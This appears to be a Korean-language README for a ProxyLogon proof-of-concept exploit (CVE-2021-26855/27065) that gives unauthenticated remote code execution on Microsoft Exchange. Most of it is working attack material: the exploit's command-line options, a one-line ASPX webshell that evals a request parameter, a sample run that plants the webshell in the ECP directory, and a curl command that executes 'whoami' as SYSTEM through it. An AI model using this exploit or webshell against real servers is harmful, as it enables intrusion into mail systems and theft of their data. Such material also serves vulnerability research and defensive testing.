
CVE-2021-26855 및 CVE-2021-27065에 대한 개념 증명 익스플로잇입니다. Exchange에서의 인증되지 않은 RCE.
CVE-2021-26855 및 CVE-2021-27065에 대한 개념 증명 익스플로잇으로, 아래 리소스에 설명된 대로 인증되지 않은 원격 코드 실행을 Microsoft Exchange에서 가능하게 합니다:
익스플로잇을 위해서는 프런트엔드 Exchange 서버 URL(예: https://exchange.example.org)과 시스템 사용자의 이메일 주소를 알아야 합니다. 관리자 SID와 백엔드는 서버에서 유출될 수 있습니다.
$ python exploit.py -h
usage: exploit.py [-h] [--frontend FRONTEND] [--email EMAIL] [--sid SID]
[--webshell WEBSHELL] [--path PATH]
[--backend BACKEND]
[--proxy PROXY]
proxylogon proof-of-concept
optional arguments:
-h, --help show this help message and exit
--frontend FRONTEND external url to exchange (e.g. https://exchange.example.org)
--email EMAIL valid email on the target machine
--sid SID exchange admin sid
--webshell WEBSHELL webshell to upload
--path PATH desired path to webshell on host
--backend BACKEND [optional] backend host (leaked in X-CalculatedBETarget)
--proxy PROXY [optional] proxy traffic (e.g. http://127.0.0.1:8080)
$ cat <<EOF > webshell.aspx
<script language="JScript" runat="server">
function Page_Load(){
eval(Request["kxpprfgvnosz"],"unsafe");
}
</script>
EOF
$ python exploit.py --frontend https://172.16.59.7 --backend exchange.hafnium.local \
--email [email protected] \
--webshell webshell.aspx \
--path 'C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\ecp\\auth\\o.aspx'
Retrieving backend via RPC
Backend: exchange.corp.contoso.com
Identified SID: S-1-5-21-...-500
Admin SID: S-1-5-21-...-500
Authenticating via proxylogon
Looking up OAB virtual directory
OAB virtual directory: OAB (Default Web Site)
Injecting payload into OAB ExternalUrl
Resetting OAB virtual directory
Enjoy your webshell!
$ curl -s -k https://172.16.59.7/ecp/auth/o.aspx \
-d 'kxpprfgvnosz=Response.Write(
new ActiveXObject("WScript.Shell")
.Exec("cmd /c whoami")
.StdOut
.ReadAll()
);' | head -n 1
nt authority\system